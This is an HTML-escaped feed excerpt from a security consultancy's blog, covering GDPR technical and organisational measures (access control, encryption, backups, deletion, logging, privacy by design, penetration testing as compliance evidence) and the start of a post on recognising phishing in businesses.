&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Protection Objective&lt;/th&gt;&lt;th&gt;Meaning&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Confidentiality&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Only authorized persons can view data&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Integrity&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Data is complete and unaltered&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Availability&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Data is accessible when needed&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Resilience&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Systems remain resilient in the event of attacks or failures&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;
&lt;p&gt;&quot;Appropriate&quot; means risk-based - not an absolute level:&lt;/p&gt;
&lt;div class=&quot;table-scroll&quot;&gt;
























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Risk Level&lt;/th&gt;&lt;th&gt;Examples&lt;/th&gt;&lt;th&gt;Requirements&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Low Risk&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;B2B customer list&lt;/td&gt;&lt;td&gt;Basic measures: MFA, encryption at rest, backup&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Medium Risk&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Employee data, standard customer data&lt;/td&gt;&lt;td&gt;Standard TOMs, DSFA for certain processing activities&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;High Risk&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Art. 9 Data: Health, Biometrics, Banking Data&lt;/td&gt;&lt;td&gt;Enhanced TOMs, Pseudonymization, DSFA mandatory, regular penetration tests&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;
&lt;h2 id=&quot;tom-catalog-specific-technical-measures&quot;&gt;TOM Catalog: Specific Technical Measures&lt;/h2&gt;
&lt;h3 id=&quot;area-1-access-control&quot;&gt;Area 1: Access Control&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Access Control (Physical):&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Server rooms: Key card + PIN or biometrics&lt;/li&gt;
&lt;li&gt;Visitor log: Who, when, accompanied by&lt;/li&gt;
&lt;li&gt;No &quot;tailgating&quot; in server rooms&lt;/li&gt;
&lt;li&gt;Camera surveillance at access points (documented in accordance with GDPR)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Access control (logical):&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Password policy: at least 12 characters, no reuse&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;MFA for all employees: mandatory&lt;/strong&gt; - not optional&lt;/li&gt;
&lt;li&gt;Inactive accounts: automatically lock after 30 days&lt;/li&gt;
&lt;li&gt;Offboarding: immediate account deactivation on the last day of employment&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Access control (permissions):&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Need-to-know principle: access only data necessary for the task&lt;/li&gt;
&lt;li&gt;Role-Based Access Control (RBAC): permission roles instead of individual rights&lt;/li&gt;
&lt;li&gt;Quarterly access reviews: who still has which permissions?&lt;/li&gt;
&lt;li&gt;No shared accounts: every user has their own account&lt;/li&gt;
&lt;li&gt;Admin accounts: separate accounts, not for daily work&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Specific implementation in Microsoft 365 via Conditional Access Policy: MFA for all (Users=All, Grant=Require MFA), block legacy authentication, managed device requirement, block risky sign-ins.&lt;/p&gt;
&lt;h3 id=&quot;area-2-encryption&quot;&gt;Area 2: Encryption&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Transport encryption:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;TLS 1.2+ on all web applications (TLS 1.0/1.1 disabled)&lt;/li&gt;
&lt;li&gt;Email: STARTTLS for SMTP, S/MIME for sensitive communication&lt;/li&gt;
&lt;li&gt;VPN: IKEv2 or WireGuard (not PPTP/L2TP)&lt;/li&gt;
&lt;li&gt;HTTPS Redirect: HTTP → HTTPS everywhere without exception&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;At-Rest Encryption:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Windows: BitLocker on all laptops/workstations (GPO: Require BitLocker, min. AES-256)&lt;/li&gt;
&lt;li&gt;Linux: dm-crypt/LUKS on server partitions&lt;/li&gt;
&lt;li&gt;Backups: always encrypted before transport&lt;/li&gt;
&lt;li&gt;Databases: Transparent Data Encryption (SQL Server, Oracle, PostgreSQL)&lt;/li&gt;
&lt;li&gt;Cloud storage: AES-256 (S3 SSE, Azure Storage Encryption)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Key management:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Store encryption keys separately from encrypted data&lt;/li&gt;
&lt;li&gt;Key Management Service: AWS KMS, Azure Key Vault, HashiCorp Vault&lt;/li&gt;
&lt;li&gt;Key rotation: at least annually&lt;/li&gt;
&lt;li&gt;HSM (Hardware Security Module) for high-security environments&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Pseudonymization:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;PII in analytics: Names → Hash IDs (non-reversible)&lt;/li&gt;
&lt;li&gt;Logs: Mask PII (Email → &lt;code&gt;****@domain.de&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Test data: Production PII pseudonymized - never use real data in test systems&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;area-3-availability-and-integrity&quot;&gt;Area 3: Availability and Integrity&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Backup according to the 3-2-1 rule:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;3 copies, 2 different media types, 1 copy offsite&lt;/li&gt;
&lt;li&gt;Backup tests: Monthly recovery tests (document!)&lt;/li&gt;
&lt;li&gt;RPO: max. 24 hours of data loss (for most companies)&lt;/li&gt;
&lt;li&gt;RTO: max. 4 hours to recovery&lt;/li&gt;
&lt;li&gt;Ransomware protection: Backups immutable (WORM) or air-gapped&lt;/li&gt;
&lt;li&gt;Backups always encrypted&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;High availability:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Critical systems: redundant (load balancer, failover)&lt;/li&gt;
&lt;li&gt;Monitoring: Notification within 5 minutes of a failure&lt;/li&gt;
&lt;li&gt;Disaster Recovery Plan: Tested and documented at least annually&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Integrity Assurance:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Database integrity: Referential integrity checks&lt;/li&gt;
&lt;li&gt;Audit logs: Immutable (WORM, separate logging infrastructure)&lt;/li&gt;
&lt;li&gt;Hash verification: Critical documents signed&lt;/li&gt;
&lt;li&gt;Version control: File changes traceable&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;area-4-deletion-and-data-minimization&quot;&gt;Area 4: Deletion and Data Minimization&lt;/h3&gt;
&lt;p&gt;Defined retention periods per data category:&lt;/p&gt;
&lt;div class=&quot;table-scroll&quot;&gt;
































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Data category&lt;/th&gt;&lt;th&gt;Retention period&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Invoices&lt;/td&gt;&lt;td&gt;10 years (Section 257 HGB)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Personnel files&lt;/td&gt;&lt;td&gt;5 years after departure&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Application documents&lt;/td&gt;&lt;td&gt;6 months (then delete)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Business emails&lt;/td&gt;&lt;td&gt;6-10 years (depending on content)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Log files&lt;/td&gt;&lt;td&gt;max. 6 months (BSI recommendation)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Website contact information&lt;/td&gt;&lt;td&gt;Until request is processed + 3 months&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;
&lt;p&gt;Secure deletion:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;HDD: DoD 5220.22-M (7-pass overwrite) or degaussing&lt;/li&gt;
&lt;li&gt;SSD: Manufacturer’s Secure Erase (TRIM is not sufficient)&lt;/li&gt;
&lt;li&gt;Cloud: Obtain deletion confirmation (AWS S3: Delete Object Lock, then Delete)&lt;/li&gt;
&lt;li&gt;AVV clause: Contractors must confirm deletion upon request&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;area-5-monitoring-and-incident-response&quot;&gt;Area 5: Monitoring and Incident Response&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Logging:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Authentication events: Success and failure&lt;/li&gt;
&lt;li&gt;Admin activities: All privileged actions&lt;/li&gt;
&lt;li&gt;Database access: To sensitive tables (PII access)&lt;/li&gt;
&lt;li&gt;Export actions: Mass data downloads&lt;/li&gt;
&lt;li&gt;Log retention: 12 months (ISO 27001 + NIS2)&lt;/li&gt;
&lt;li&gt;Store logs in an unalterable format (WORM)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Incident Response:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Data breach procedures documented in writing&lt;/li&gt;
&lt;li&gt;GDPR 72-hour notification requirement: Process defined, responsibilities clear, templates ready&lt;/li&gt;
&lt;li&gt;Forensics: Logs permanently available for investigation&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;privacy-by-design-art-25-gdpr&quot;&gt;Privacy by Design: Art. 25 GDPR&lt;/h2&gt;
&lt;p&gt;Privacy by Design has been EU law since 2018. Article 25 of the GDPR requires controllers to build data protection into the system from the development stage - not as an afterthought.&lt;/p&gt;
&lt;h3 id=&quot;the-seven-core-principles&quot;&gt;The Seven Core Principles&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;1. Proactive rather than reactive (Preventative):&lt;/strong&gt; Data protection before data collection - threat modeling for data protection during the design phase.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. Privacy as the Default:&lt;/strong&gt; Maximum data protection applies unless the user actively chooses otherwise. Cookies: Default = no non-essential cookies. Tracking: Default = disabled.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. Embedded in system design (Privacy Embedded):&lt;/strong&gt; Data protection structurally embedded in the database schema, API design, and logging concept - no “plug-in privacy.”&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;4. Full functionality:&lt;/strong&gt; Data protection and usability are not mutually exclusive. Differential privacy and privacy-preserving analytics are possible.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;5. End-to-End Security (Lifecycle Protection):&lt;/strong&gt; Deletion concept: once the purpose is fulfilled → delete data. Technically enforce retention policies.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;6. Visibility and Transparency (Visibility):&lt;/strong&gt; Audit trails, privacy dashboard for users, automated Data Subject Access Request (DSAR).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;7. User-Centricity (Respect for User Privacy):&lt;/strong&gt; Granular consent instead of &quot;all-or-nothing,&quot; preference center, portability API.&lt;/p&gt;
&lt;h3 id=&quot;technically-implementing-data-minimization&quot;&gt;Technically Implementing Data Minimization&lt;/h3&gt;
&lt;p&gt;Data minimization (Art. 5(1)(c) - Data Minimization) means: &quot;Do we really need this field for the purpose? Can we manage with less precision?&quot;&lt;/p&gt;
&lt;p&gt;Specific measures:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Forms and APIs:&lt;/strong&gt; Collect only required fields. An email address and password are sufficient for registration - additional fields only when specifically needed.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Age verification instead of date of birth:&lt;/strong&gt; &lt;code&gt;is_adult = verify_age(birthday)&lt;/code&gt; - store only the Yes/No result, not the date.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;IP addresses:&lt;/strong&gt; Truncate the last octet (192.168.1.123 → 192.168.1.0 for analytics). IP addresses are considered personal data in the EU (ECJ rulings).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Aggregation instead of individual data:&lt;/strong&gt; Aggregated metrics instead of user clicks with session ID and timestamp.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;pseudonymization-vs-anonymization&quot;&gt;Pseudonymization vs. Anonymization&lt;/h3&gt;
&lt;div class=&quot;table-scroll&quot;&gt;



















&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Concept&lt;/th&gt;&lt;th&gt;Description&lt;/th&gt;&lt;th&gt;GDPR Status&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Pseudonymization&lt;/strong&gt; (Art. 4(5))&lt;/td&gt;&lt;td&gt;Identifying feature replaced by a pseudonym; identification possible only with additional information&lt;/td&gt;&lt;td&gt;Remains personal data - GDPR still applies&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Anonymization&lt;/strong&gt; (Art. 11)&lt;/td&gt;&lt;td&gt;Inference of identity impossible&lt;/td&gt;&lt;td&gt;No longer personal data - GDPR no longer applies&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;
&lt;p&gt;Important: True anonymization is harder to achieve than often assumed. Even just a ZIP code + date of birth + gender are sufficient to uniquely identify 87% of all U.S. individuals. Seemingly anonymous data is often re-identifiable.&lt;/p&gt;
&lt;h3 id=&quot;implementing-consent-management-technically&quot;&gt;Implementing Consent Management Technically&lt;/h3&gt;
&lt;p&gt;GDPR-compliant consent under Art. 7 must be voluntary, specific, informed, unambiguous (active action, no pre-check), and revocable.&lt;/p&gt;
&lt;p&gt;Cookie Categories:&lt;/p&gt;
&lt;div class=&quot;table-scroll&quot;&gt;
























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Category&lt;/th&gt;&lt;th&gt;Consent Required?&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Necessary (Session, CSRF, Authentication)&lt;/td&gt;&lt;td&gt;No&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Preferences (language, dark mode)&lt;/td&gt;&lt;td&gt;Recommended&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Statistics (analytics)&lt;/td&gt;&lt;td&gt;Yes&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Marketing (remarketing pixels, tracking)&lt;/td&gt;&lt;td&gt;Always explicit&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;
&lt;p&gt;Technical implementation of withdrawal: immediately delete all marketing cookies, send opt-out to analytics system, store proof in audit trail.&lt;/p&gt;
&lt;h3 id=&quot;gdpr-compliant-logging&quot;&gt;GDPR-compliant logging&lt;/h3&gt;
&lt;p&gt;Logs are often the biggest data protection risk. No PII in INFO or DEBUG log levels:&lt;/p&gt;
&lt;p&gt;Dangerous: &lt;code&gt;log.info(&amp;amp;quot;User alice@firma.de logged in with password Password123!&amp;amp;quot;)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;GDPR-compliant: &lt;code&gt;log.info(&amp;amp;quot;User ID=47a2 authenticated successfully&amp;amp;quot;)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Retention policy for logs: max. 6-12 months (depending on requirements). No passwords, email addresses, or IBANs in logs.&lt;/p&gt;
&lt;h3 id=&quot;dsar-automation-data-subject-access-requests&quot;&gt;DSAR Automation (Data Subject Access Requests)&lt;/h3&gt;
&lt;p&gt;Every GDPR data access request (Art. 15) requires the export of all data related to an individual. Technically required:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;User ID-based export mechanism for all tables&lt;/li&gt;
&lt;li&gt;Soft delete vs. hard delete: observe legal retention periods&lt;/li&gt;
&lt;li&gt;Automated DSAR export significantly reduces processing effort&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;penetration-testing-as-gdpr-evidence&quot;&gt;Penetration testing as GDPR evidence&lt;/h2&gt;
&lt;p&gt;Art. 32(1)(d) explicitly requires &quot;a procedure for regularly reviewing, assessing, and evaluating the effectiveness&quot; of technical and organizational measures. A penetration test is the most concrete form of this review.&lt;/p&gt;
&lt;h3 id=&quot;what-a-penetration-test-achieves-as-a-gdpr-measure&quot;&gt;What a penetration test achieves as a GDPR measure&lt;/h3&gt;
&lt;p&gt;A professional penetration test:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Tests the effectiveness of existing TOMs&lt;/strong&gt; - not just whether they exist on paper, but whether they actually provide protection&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Identifies data paths&lt;/strong&gt; - which attack vectors lead to personal data&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Provides documented evidence&lt;/strong&gt; - in the event of a data breach, it can be proven that the vulnerability was unknown at the time of the test&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Complies with Art. 32(1)(d)&lt;/strong&gt; - regular assessment of TOM effectiveness is mandatory, not merely recommended&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;In the event of a data breach, one of the first questions from supervisory authorities is: “When was the last time you tested your systems for vulnerabilities?” A current penetration test report is the strongest defense against a fine.&lt;/p&gt;
&lt;h3 id=&quot;which-systems-should-be-tested-in-a-gdpr-relevant-penetration-test&quot;&gt;Which systems should be tested in a GDPR-relevant penetration test?&lt;/h3&gt;
&lt;p&gt;Systems that process or store personal data are particularly relevant for the GDPR:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Web applications with customer data&lt;/strong&gt; - login systems, CRM interfaces, portals&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Databases&lt;/strong&gt; - direct accessibility, SQL injection vulnerability, access control&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;APIs&lt;/strong&gt; - an often underestimated attack surface for personal data&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Internal networks with PII systems&lt;/strong&gt; - lateral movement to data storage&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cloud environments&lt;/strong&gt; - misconfigurations in S3 buckets, Azure Blob Storage&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;penetration-testing-frequency-for-gdpr-compliance&quot;&gt;Penetration testing frequency for GDPR compliance&lt;/h3&gt;
&lt;p&gt;&quot;Regularly&quot; is not defined, but best practice is guided by:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;High-risk systems (Art. 9 data, health, biometrics):&lt;/strong&gt; Annually, plus after significant changes&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Standard systems containing customer data:&lt;/strong&gt; Annually or every two years&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;After major system changes:&lt;/strong&gt; Penetration test prior to go-live&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;After security incidents:&lt;/strong&gt; Immediately for situation assessment&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;document-penetration-test-results-in-the-tom-catalog&quot;&gt;Document penetration test results in the TOM catalog&lt;/h3&gt;
&lt;p&gt;The penetration test only counts as GDPR evidence if it is documented:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Date of the test&lt;/li&gt;
&lt;li&gt;Scope: Which systems were tested?&lt;/li&gt;
&lt;li&gt;Tester: external company (with qualifications), internal team, or a combination?&lt;/li&gt;
&lt;li&gt;Results: vulnerabilities found, severity, remediation status&lt;/li&gt;
&lt;li&gt;Follow-up: were identified vulnerabilities remediated and retested?&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;documentation-for-audits-the-tom-catalog&quot;&gt;Documentation for Audits: The TOM Catalog&lt;/h2&gt;
&lt;p&gt;The TOM Catalog is the central document for GDPR audits and is mandatory as an appendix to the AVV.&lt;/p&gt;
&lt;h3 id=&quot;format-per-measure&quot;&gt;Format per Measure&lt;/h3&gt;
&lt;div class=&quot;table-scroll&quot;&gt;




































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Field&lt;/th&gt;&lt;th&gt;Content&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;TOM-007&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Encryption of End Devices&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Description&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;All laptops encrypted with BitLocker&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Details&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;AES-256, TPM 2.0, recovery keys in Azure AD&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Responsible&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;IT Department&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Verification&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Monthly compliance report in Intune&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Status&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Implemented (98% compliance, 2% in progress)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Evidence&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Intune report 2026-03-01&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;
&lt;h3 id=&quot;protection-against-fines-through-documentation&quot;&gt;Protection Against Fines Through Documentation&lt;/h3&gt;
&lt;p&gt;The Hamburg Data Protection Commissioner imposed a fine of €35,000 on a company on the grounds of &quot;no verifiable technical and organizational measures (TOMs) to protect applicant data.&quot; With documented TOMs, the fine would have been significantly lower or waived entirely - Article 83 explicitly considers “compliance with obligations” when determining the amount of the fine.&lt;/p&gt;
&lt;h3 id=&quot;regular-tom-review&quot;&gt;Regular TOM Review&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Annual review by the CISO and Data Protection Officer&lt;/li&gt;
&lt;li&gt;After incidents: Check TOMs for effectiveness&lt;/li&gt;
&lt;li&gt;After significant system changes: Update TOMs&lt;/li&gt;
&lt;li&gt;Documentation of reviews: Date, result, adjustments&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;the-gdpr-relevant-overlap-with-nis2&quot;&gt;The GDPR-relevant overlap with NIS2&lt;/h2&gt;
&lt;p&gt;The technical requirements of the GDPR overlap significantly with NIS2. Both require:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Risk-based security measures&lt;/li&gt;
&lt;li&gt;Incident response and reporting obligations&lt;/li&gt;
&lt;li&gt;Encryption and access controls&lt;/li&gt;
&lt;li&gt;Regular review of measures&lt;/li&gt;
&lt;li&gt;Documentation and obligation to provide evidence&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The difference: The GDPR focuses on personal data, while NIS2 focuses on business continuity and critical infrastructure. In practice, compliance activities for both frameworks can be efficiently combined.&lt;/p&gt;
&lt;p&gt;Read more: &lt;a href=&quot;https://a7.de/en/blog/nis2-directive-the-complete-guide-for-businesses-in-germany/&quot;&gt;NIS2: What Companies Need to Know&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&quot;conclusion-toms-are-not-just-paperwork&quot;&gt;Conclusion: TOMs Are Not Just Paperwork&lt;/h2&gt;
&lt;p&gt;The most important insight from fine enforcement practice: It is not about achieving perfect security - that does not exist. It is about having demonstrably implemented risk-based measures whose effectiveness is regularly reviewed.&lt;/p&gt;
&lt;p&gt;Companies that take this seriously benefit in multiple ways: They are better protected against attacks, can prove that they have fulfilled their duty of care in the event of an incident, and thereby significantly reduce the risk of fines.&lt;/p&gt;
&lt;h2 id=&quot;related-articles&quot;&gt;Related Articles&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://a7.de/en/wiki/gdpr-and-it-security-technical-requirements-toms-and/&quot;&gt;GDPR Compliance for Businesses&lt;/a&gt; - Legal foundations, fines, data protection officers, reporting obligations, and data protection impact assessments&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://a7.de/en/blog/nis2-directive-the-complete-guide-for-businesses-in-germany/&quot;&gt;NIS2: What Companies Need to Know&lt;/a&gt; - parallel EU regulation with significant overlaps&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://a7.de/en/wiki/gdpr-and-it-security-technical-requirements-toms-and/&quot;&gt;Data Protection Impact Assessment in Detail&lt;/a&gt; - comprehensive guide to the DPIA under Art. 35&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;aware7-supports-technical-gdpr-compliance&quot;&gt;AWARE7 supports technical GDPR compliance&lt;/h2&gt;
&lt;p&gt;AWARE7 assists with the creation and review of TOM catalogs, the technical implementation of data protection-compliant IT infrastructure, and the execution of penetration tests as proof of GDPR compliance.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://a7.de/en/services/penetration-testing/&quot;&gt;Request a penetration test&lt;/a&gt; | &lt;a href=&quot;https://a7.de/en/services/security-consulting/isms-iso-27001/&quot;&gt;ISMS and ISO 27001&lt;/a&gt;&lt;/p&gt;</content:encoded><category>Compliance &amp; Standards</category><author>kontakt@a7.de (Chris Wojzechowski)</author></item><item><title>Recognizing Phishing: The Complete Protection Guide for Businesses</title><link>https://a7.de/en/blog/recognizing-phishing-the-complete-protection-guide-for-businesses/</link><guid isPermaLink="true">https://a7.de/en/blog/recognizing-phishing-the-complete-protection-guide-for-businesses/</guid><description>How to spot phishing emails, respond correctly, and protect your business. Includes a checklist, immediate steps to take after clicking a link, and FAQs.</description><pubDate>Thu, 05 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Just a few years ago, phishing emails tended to be impersonal and relatively clumsily worded. They would casually ask for account details, or fake requests would land in your inbox that were immediately obvious - whether due to poor German phrasing or because they were dubious requests that were relatively easy to spot. Umlauts were often misrepresented, which served as a clear giveaway.&lt;/p&gt;
&lt;p&gt;Those days are over. Today, phishing emails have become sophisticated and are usually very personally tailored. Letterheads and company logos are meticulously forged, salutations often already include the recipient’s name, and spelling errors are rare. Furthermore, AI tools like ChatGPT enhance such attacks: attackers no longer even have to choose the right wording themselves.&lt;/p&gt;
&lt;p&gt;This guide summarizes what you really need to know - from the first warning signs to immediate steps to take after clicking a link.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2 id=&quot;1-why-phishing-is-the-biggest-threat-on-the-internet&quot;&gt;1. Why Phishing Is the Biggest Threat on the Internet&lt;/h2&gt;
&lt;p&gt;A study by Google, conducted in collaboration with the University of California, Berkeley, and presented at &lt;a href=&quot;https://www.sigsac.org/ccs/CCS2017/&quot;&gt;CCS&lt;/a&gt;, shows that the greatest danger online is falling victim to a phishing attack. Google uses the findings from this study to protect approximately 67,000,000 Google accounts.&lt;/p&gt;
&lt;p&gt;The term “phishing” is derived from the English word “fishing” and describes the attempt to obtain sensitive data. You may encounter phishing attacks in various forms: via text message (smishing), via phone call (vishing), and most commonly via email. In December 2021 alone, the &lt;a href=&quot;https://apwg.org/&quot;&gt;Anti-Phishing Working Group&lt;/a&gt; recorded around 320,000 attacks.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Why does phishing particularly target small and medium-sized businesses today?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Current attacks are professionally designed, featuring company logos, real names, and deceptively authentic sender addresses. The risk is particularly high for SMEs because they are attractive targets but often lack the same security resources as large corporations.&lt;/p&gt;
&lt;p&gt;There are three main types of attacks:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Mass phishing&lt;/strong&gt; - a broad net is cast, with each message kept as general as possible.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Spear-phishing&lt;/strong&gt; - individual targets are specifically addressed using personal details. Attackers research names, hobbies, and interests via social media.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Business Email Compromise (BEC)&lt;/strong&gt; - Attackers use information about contacts or internal processes to manipulate payment approvals or supply chain communications.&lt;/li&gt;
&lt;/ul&gt;
